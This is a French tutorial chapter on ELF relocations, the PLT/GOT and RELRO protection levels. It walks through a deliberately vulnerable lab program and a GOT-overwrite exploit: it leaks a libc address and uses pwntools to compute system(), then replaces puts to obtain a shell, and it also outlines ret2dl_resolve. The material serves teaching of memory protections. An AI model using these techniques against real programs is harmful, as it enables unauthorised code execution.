Post

Partie 14 - Comprendre les mécanismes de protection mémoire - RELRO

Comprendre les mécanismes de protection mémoire : RELRO

RELRO aka “RELocation Read-Only” (ou Relocalisation en lecture seule 🥖) est une protection qu’il est important de connaître car son absence facilite grandement l’exploitation d’un programme, notamment lorsque l’on dispose d’une primitive d’écriture arbitraire. Inversement, sa présence nous met des bâtons dans les roues 🤕.

Avant de nous parler de la protection, faudrait ptet’ que tu nous parles de ce que sont les relocalisations non?

Zé partiii.

📍 Les relocalisations

Gestion statique ou dynamique des fonctions

Commençons par le commencement. Un programme peut être compilé de deux manières :

  • statiquement : la libc (ou autre librairie utilisée) sera incluse dans le programme compilé ;
  • dynamiquement : les librairies utilisées ne seront chargées qu’au lancement du programme.

Dans le premier cas, pour les programmes compilés statiquement, la libc est en partie incluse dans le programme. Cela génère un programme plus gros mais les appels de fonctions se font comme si la fonction de la librairie (ex : printf, malloc…) était présente dans le code source lors de la compilation.

En revanche, lorsque le programme est compilé dynamiquement, les fonctions des librairies utilisées ne sont pas présentes dans le programme. Il est donc nécessaire d’avoir un mécanisme permettant d’appeler les fonctions tierces utilisées. Celui qui permet de réaliser un tel mécanisme, vous le connaissez, c’est ld !

Les relocalisations vont donc permettre au programme de savoir où sont situées les différentes variables globales et fonctions externes.

Chargement dynamique des fonctions

Par défaut, gcc compile dynamiquement le programme C donné en entrée. Pour comprendre comment fonctionne les relocations, utilisons le programme suivant :

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>  
#include <stdlib.h>

int main()
{
	void *tmp = malloc(0x100);
	puts("Hello, World !");
	
	exit(0);
	return 0;
}

Accès au conteneur Docker :

1
2
3
docker build -t pwn-relro-exemple-1 .

docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-relro-exemple-1

Nous le compilerons de différentes manières afin de voir les spécificités des protections liées aux relocalisations. Compilons-le tout d’abord sans spécifier de paramètre quant aux relocalisations : gcc -g -no-pie -fno-pie main.c -o exe.

PIE est désactivé afin de faciliter le débogage et l’explication des relocalisations.

Ouvrons le programme dans gdb et mettons un point d’arrêt sur main. Une fois arrivé sur le point d’arrêt, utilisons la commande got via gdb-gef++:

Si vous déboguez le programme à distance, utilisez plutôt gdb-pwndbg avec la commande got plutôt que gdb-gef++ qui galère à lancer got à distance.

Ce qui nous intéresse particulièrement, ce sont les trois dernières lignes. Nous y voyons les 3 fonctions de la libc que notre programme utilise. Intéressons-nous pour l’instant au contenu des deux colonnes :

  • GOT : il s’agit du pointeur vers la fonction de la libc. Le pointeur est situé dans le programme ;
  • GOT value : contenu du pointeur. Cela devrait, normalement, être une adresse de la libc.

La GOT (Global Offset Table) est une zone mémoire située dans le programme et qui contient une table de pointeurs vers des variables globales et fonctions situées dans des bibliothèques dynamiques.

Pour l’instant, faisons abstraction de la section PLT.

Mais aucun des trois pointeurs ne pointe vers la libc ? Ils pointent tous vers une zone au sein du programme avec une adresse du type : 0x4010X0.

Vous avez l’œil ! Vous n’avez pas tort, les pointeurs dans la GOT ne pointent pas vers puts, malloc ou exit, du moins, pas encore 😉. Mettons un point d’arrêt sur call exit et réutilisons la commande got une fois arrivés :

Cette fois-ci les pointeurs de puts et malloc(situés dans la GOT) pointent bien vers les fonctions puts et malloc dans la libc. En revanche, le pointeur vers exit pointe toujours au sein du programme courant (0x401050).

On devine aisément ce qui s’est passé : comme putset malloc ont été appelées, mais pas encore exit, seuls les deux premiers pointeurs ont été mis à jour.

Nous avons donc une réponse à la première question “où sont stockées les informations liées aux fonctions externes appelées ?”. Mais une seconde question reste en suspens : comment ces pointeurs sont utilisés ?

De l’instruction d’appel à la fonction

Avant de nous jeter directement dans les méandres de l’appel des fonctions chargées dynamiquement, voyons comment cela est réalisé d’un point de vue macro, par exemple, lorsque malloc(0x100)est appelée depuis main:

Ce n’est pas le meilleur schéma du monde, mais j’espère qu’il fera l’affaire 😅. Notre objectif va être de comprendre ce qui se passe depuis l’appel de la fonction mallocdans la fonction main jusqu’à son exécution effective dans la libc.

Tout d’abord, distinguons deux cas :

  • numéros en 🟢 : la fonction a déjà été appelée une fois : son symbole est déjà résolu ;
  • numéros en 🔴 : elle n’a pas encore été appelée.

Commençons par le premier cas qui est le plus simple.

🟢 Appel d’une fonction dont le symbole a déjà été résolu

1️⃣ : la fonction mallocest appelée depuis main. Enfin, ce n’est pas réellement la fonction mallocqui est appelée mais malloc@plt. Il s’agit d’une toute petite fonction située dans la PLT (Procedure Linkage Table) qui est également une zone mémoire présente au sein du programme. Son rôle est d’agir comme un intermédiaire entre l’appel d’une fonction externe et son exécution réelle, en assurant le branchement vers son adresse effective lors de l’exécution.

Dans IDA cela ressemble à :

2️⃣ : ce petit bout de code est exécuté. 3️⃣ : il ne fait que sauter dans le contenu du pointeur de mallocsitué dans la GOT :

Vous remarquerez la principale différence entre la PLT et la GOT :

  • la PLT est une zone mémoire de code en lecture seule ;
  • la GOT est une zone mémoire en lecture et écriture modifiable (mais pas toujours 🙃).

4️⃣ : comme nous sommes dans l’hypothèse que la résolution de la fonction mallocest déjà réalisée, le contenu de malloc@got (à l’adresse 0x404008) est l’adresse réelle de mallocdans la libc :

5️⃣ : de ce fait, l’instruction jmp 0x404008, située dans la PLT, saute directement dans la fonction mallocdans la libc.

🔴 Appel d’une fonction dont le symbole n’est pas résolu

1️⃣, 2️⃣ et 3️⃣ : ces trois premières étapes sont identiques dans les deux cas.

4️⃣ : cette fois-ci le contenu du pointeur de mallocdans la GOT n’est pas l’adresse de la libc mais l’adresse suivante :

5️⃣ : le bout de code à cette adresse, situé dans la PLT, est le suivant :

En fin de compte, lorsque le symbole d’une fonction n’a pas encore été résolu, le programme retourne dans la PLT. Et c’est là que tout le travail de résolution du symbole doit être fait.

6️⃣ : le programme saute à l’adresse 0x401020 puis saute dans la fonction _dl_runtime_resolve_xsave situé dans ld !

C’est quoi les différents push ?

J’ai volontairement choisi d’omettre quelques détails car nous n’allons pas voir, dans ce cours comment fonctionnent précisément la PLT et la résolution de symboles. A notre stade, faisons comme si cela était aussi simple que ces étapes : ld trouve l’adresse de malloc, le programme l’écrit ensuite dans le pointeur malloc@gotet saute dans le corps de la fonction (dans la libc) 7️⃣.

Exploiter les relocalisations (la GOT quoi)

Dans gdb, nous pouvons voir dans quelle zone mémoire est située la GOT :

Comme vous pouvez le constater, cette zone mémoire est en lecture et écriture 😏. En ayant une primitive d’écriture arbitraire, il serait possible de modifier une entrée de la GOT afin de rediriger l’exécution du pointeur de fonction corrompu vers un bout de code (exemple : pour faire du ROP) ou une fonction intéressante (exemple : system, execve …).

La protection RELRO

Cette protection a trois niveaux d’implémentation :

Niveau d’implémentationOptions de compilationProtections mémoire de la GOTRésolution des entrées de la GOTCommentaireExploitable ?
Inexistante-Wl,-z,norelro📝 accessible en lecture et écritureLazy binding : au moment où la fonction est appeléeAucune protection n’est ajoutée
Partielle (partial RELRO)-Wl,-z,relro📝 accessible en lecture et écritureLazy binding : au moment où la fonction est appeléeSeules les premières entrées sont en lecture seule.

La GOT est également placée avant .bss(et .data?) pour éviter qu’un dépassement de bufferne la corrompe.
Totale (full RELRO)-Wl,-z,relro,-z,now📄 accessible en lecture seuleEager binding : toutes les adresses de fonctions externes sont résolues au lancement du programmeToute la GOT est placée dans une zone mémoire en lecture seule.

Ci-dessous, un exemple où le programme est compilé avec la protection Full RELRO. Nous observons que la GOT est située dans une zone mémoire en lecture seule et que toutes les adresses des fonctions externes ont été résolues :

Dans les deux premiers cas il est toujours possible d’exploiter la GOT en modifiant une des entrées avec une primitive d’écriture arbitraire. Dans le cas où la protection est Full RELRO il n’est plus possible de le faire.

En effet, toutes les adresses des fonctions externes seront résolues au lancement du programme et, de toute manière, toute la GOT se trouve dans une zone mémoire en lecture seule.

Exemple

Voyons comment exploiter un programme depuis la GOT via une primitive d’écriture arbitraire avec le programme suivant :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#include <stdio.h>
#include <stdlib.h>

// gcc -no-pie -fno-pie main.c -o exe

int main(int argc, char **argv) 
{
    if (argc != 2)
    {
        printf("Pas assez d'arguments !\n");
        exit(-1);
    }

    unsigned long *got_addr = (unsigned long *)strtoul(argv[1],NULL,16);

    puts("Voici les 8 premieres entrees de la GOT :");
    for(int i=0; i<8; i++)
        printf("\t%p -> %p\n",&got_addr[i],got_addr[i]);

    puts("Quelle adresse souhaitez-vous modifier ?");
    unsigned long *addr;
    scanf("%lx",&addr);
    getchar();

    puts("Avec quelle valeur ?");
    unsigned long val;
    scanf("%lx",&val);
    getchar();
    
    *addr = val;
    puts("/bin/sh");
    printf("Alors, tu l'as eu ton shell ? ;-)\n");

    return 0;
}

Accès au conteneur Docker :

1
2
3
docker build -t pwn-relro-exemple-2 .

docker run -it --rm -p 1234:1234 --cap-add=SYS_PTRACE --security-opt seccomp=unconfined pwn-relro-exemple-2

Le programme prend en paramètre l’adresse de la GOT, affiche les 8 premières entrées et permet de modifier le contenu d’une adresse.

  • 🎯 Objectif : réussir à ouvrir un shell;
  • 🛡️ Protection: l’ASLR est à activer.

Étapes intermédiaires

Nous allons faire face à plusieurs problématiques, voyons comment les résoudre une à une.

Trouver et afficher la GOT

Tout d’abord il va falloir que l’on trouve l’adresse de la GOT. Pour cela, il suffit de trouver où la section .got.pltva être chargée. A priori, elle sera chargée à une adresse connue d’avance car le programme n’est pas PIE.

Vous pouvez utiliser IDA en ouvrant l’onglet Segments :

Comment tu as su que c’était la section .got.plt qu’il faut utiliser et pas .plt ou .got par exemple ?

Alors, comment dire 😅. En fait, il y a plusieurs sections utilisées dans le cadre des relocalisations. Honnêtement je ne connais pas exactement les différences et les toutes leurs subtilités. Donc je préfère m’abstenir que de dire n’importe quoi … Celle qui nous intéresse principalement en pwn est .got.plt car c’est elle qui contient les pointeurs vers les fonctions externes.

Quoi qu’il en soit, dans la section “Aller plus loin” ci-dessous, vous trouverez un lien qui détaille ces différentes sections pour les plus curieux 😉.

Revenons à nos moutons 🐑. Nous pouvons également utiliser l’outil readelf qui est plus commode ici sachant que nous pourrons directement l’utiliser en ligne de commandes lors du lancement du programme :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ readelf -a ./exe | grep ".got.plt"
  [24] .got.plt          PROGBITS         0000000000403fe8  00002fe8

$ ./exe $(readelf -a ./exe | grep ".got.plt" | head -n 1 | awk '{printf "0x%s", $4}')
Voici les 8 premieres entrees de la GOT :
	0x403fe8 -> 0x403e08
	0x403ff0 -> 0x744665e612e0
	0x403ff8 -> 0x744665e3d220
	0x404000 -> 0x744665c87be0
	0x404008 -> 0x401040
	0x404010 -> 0x744665c60100
	0x404018 -> 0x401060
	0x404020 -> 0x744665c57b20
Quelle adresse souhaitez-vous modifier ?

Comment connaître la fonction listée à partir d’une de ces adresses ?

Un coup de readelf -r ./exe pour afficher les relocalisations et le tour est joué :

Trouver une adresse de la libc à partir d’un leak

Bon, pas besoin de faire tout un speech, on a compris que pour parvenir à ouvrir un shell, nous allons tenter d’exécuter system à la place de puts.

Le souci est que nous ne savons pas à quelle adresse est située system. Autant notre programme n’est pas PIE, autant la libc, elle, l’est à coup sûr. Ça tombe bien, nous allons apprendre par la même occasion à trouver une adresse d’une fonction de la libc à partir d’un leak (fuite mémoire).

Pour rappel, l’ASLR n’implique pas une aléatoirisation totale des adresses au sein d’un programme. Seules les octets de poids fort y sont soumis. Cela implique un principe essentiel : les fonctions d’un programme sont toutes situées à un offset fixe par rapport à l’adresse de base d’un programme.

N’oubliez pas d’activer l’ASLR si ce n’est pas déjà fait 🙃.

Nous n’allons pas revenir sur les détails de ce principe. Voyons comment nous pouvons l’utiliser à notre avantage.

En exécutant le programme plusieurs fois voici les différentes adresses utilisées pour la fonctions puts:

1
2
3
4
1. 0x404000 -> 0x7bca86487be0
2. 0x404000 -> 0x71fe1e087be0
3. 0x404000 -> 0x7d7383887be0
4. 0x404000 -> 0x7b7cb0087be0 

On sent qu’il y a un offset caché dans ces différentes adresses. La question est : comment le déterminer ?

Il y a deux cas de figure :

  1. nous savons quelle est la libc utilisée. En l’occurrence il s’agit de celle de notre machine que l’on peut trouver grâce à ldd ./exe. Sinon il est possible de trouver la libc en question sur internet et la télécharger ;
  2. nous ne savons pas quelle est la libc utilisée par le programme (exemple : un programme/service à exploiter à distance).

Dans le premier cas il est possible d’avoir les offsets des différents symboles grâce à pwntools :

1
2
3
4
from pwn import *
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
print("puts @ ",hex(libc.symbols["puts"]))
# Affiche : puts @  0x87be0

Dans le second cas, il existe une technique permettant de trouver la version de la libc utilisée mais cela nécessite de faire fuiter quelques adresses de fonctions. Ensuite, il suffit de spécifier l’adresse et le nom de la fonction dans un site / base de données comme :

En utilisant l’adresse de putset printf par exemple, la base de données réussit à trouver plusieurs potentielles libc. Plus on lui fournit d’adresses, plus le résultat est précis :

Une fois la libc téléchargée, nous nous retrouvons dans le cas n°1. Il est alors possible de récupérer les différents offsets grâce à pwntools.

Bon, poursuivons. Pour trouver l’adresse de systemnous allons ouvrir 2 terminaux :

  • le premier permet d’exécuter le programme ;
  • le second, de trouver l’adresse de system.

Dans le premier, utilisons ./exe $(readelf -a ./exe | grep ".got.plt" | head -n 1 | awk '{printf "0x%s", $4}') afin d’afficher les premières entrées de la GOT :

1
2
3
4
Voici les 8 premieres entrees de la GOT :
	0x403fe8 -> 0x403e08                                                         
	0x403ff0 -> 0x7147be7e82e0                                                       0x403ff8 -> 0x7147be7c4220                                                       0x404000 -> 0x7147be487be0                                                       0x404008 -> 0x401040                                                             0x404010 -> 0x7147be460100                                                       0x404018 -> 0x401060                                                             0x404020 -> 0x7147be457b20                                                       
Quelle adresse souhaitez-vous modifier ?

Dans le second, trouvons l’adresse de system en deux temps :

  1. trouver l’adresse de base de la libc à partir de l’offset de putset de l’adresse qui a fuité ;
  2. chemin inverse : trouver l’adresse de system à partir de l’adresse de base de la libc et de l’offset de system.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from pwn import *

# Chemin a adapter
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

leak = 0x7147be487be0 # Recupere depuis le premier terminal
libc_base_addr = leak - libc.symbols["puts"]
print("libc_base_addr @ ",hex(libc_base_addr))

# Changement de l'adresse de base de la libc :
# 0x0000000000000000 -> 0x7147be400000
libc.address = libc_base_addr

system = libc.symbols["system"]
print("system @ ",hex(system))
# Exemple : system @  0x7147be458750

Astuce pwntools : en spécifiant une adresse de base dans libc.address, libc.symbols["xxxx"] retourne directement l’adresse de la fonction en utilisant l’adresse de base fournie au lieu de simplement retourner l’offset.

Enfin, nous pouvons modifier l’entrée de puts dans la GOT par l’adresse de system dans le premier terminal :

1
2
3
4
5
6
Quelle adresse souhaitez-vous modifier ?
0x404000
Avec quelle valeur ?
0x7147be458750
sh-5.2$ id
uid=1001(challenger) gid=1001(challenger) groups=1001(challenger)

Lorsque call puts a été exécutée ici :

1
2
3
*addr = val;
puts("/bin/sh");
printf("Alors, tu l'as eu ton shell ? ;-)\n");

Son adresse dans la GOT pointant désormais vers system, cela a exécuté system("/bin/sh"). Comme exercice, vous pouvez bien évidemment vous amuser à faire tout ça dans un seul terminal avec un script Python via pwntools.

Aller plus loin

Si ce chapitre n’a pas étanché votre soif de curiosité au sujet des relocalisations, sachez que vous pouvez trouver différents articles, en anglais, pour aller plus loin :

ret2dl_resolve

Cette attaque consiste à invoquer une fonction de la libc (par exemple system) sans disposer au préalable d’une fuite d’adresse.

En effet, en tirant parti du mécanisme de résolution dynamique des symboles mis en œuvre par la PLT et ld, il est possible de fabriquer des structures factices (.rel.plt, .dynsym, .dynstr, etc.) afin d’amener le chargeur à résoudre et exécuter une fonction arbitraire.

📋 Synthèse

Au cours de ce chapitre, nous avons pu nous intéresser aux zones mémoire que sont la PLT et la GOT ainsi que leur différence :

TableSignificationType de zoneContenuModifiable ?Rôle
GOTGlobal Offset TableDonnéesPointeurs vers les fonctions externes✅ (si pas de Full RELRO)Stocke les adresses effectives des fonctions de la libc (ou autre lib)
PLTProcedure Linkage TableCodeAppels intermédiaires (jump, push)Intermédiaire entre appel de fonction et libc (ou autre lib)

Nous avons également abordé les notions suivantes :

  • RELRO (RELocation Read-Only) protège la GOT des modifications ;
  • sans protection appliquée, la GOT est modifiable : une primitive d’écriture arbitraire permet de détourner un appel (ex : remplacer puts par system) ;
  • lorsqu’un programme est compilé dynamiquement, les adresses des fonctions externes sont résolues par le chargeur dynamique (ld) via la PLT et la GOT ;
  • trois niveaux de protection existent :
    • Aucune : la GOT modifiable ➕ résolution paresseuse ➡️ exploitable
    • ⚠️ Partielle (Partial RELRO) : GOT toujours modifiable ➕ seule une partie protégée ➡️ toujours exploitable
    • Totale (Full RELRO) : GOT en lecture seule ➕ résolution immédiate ➡️ non exploitable
  • L’attaque ret2dl_resolve exploite le fonctionnement de la résolution dynamique des fonctions en forgeant de fausses structures pour forcer ld à résoudre une fonction arbitraire.
This post is licensed under CC BY 4.0 by the author.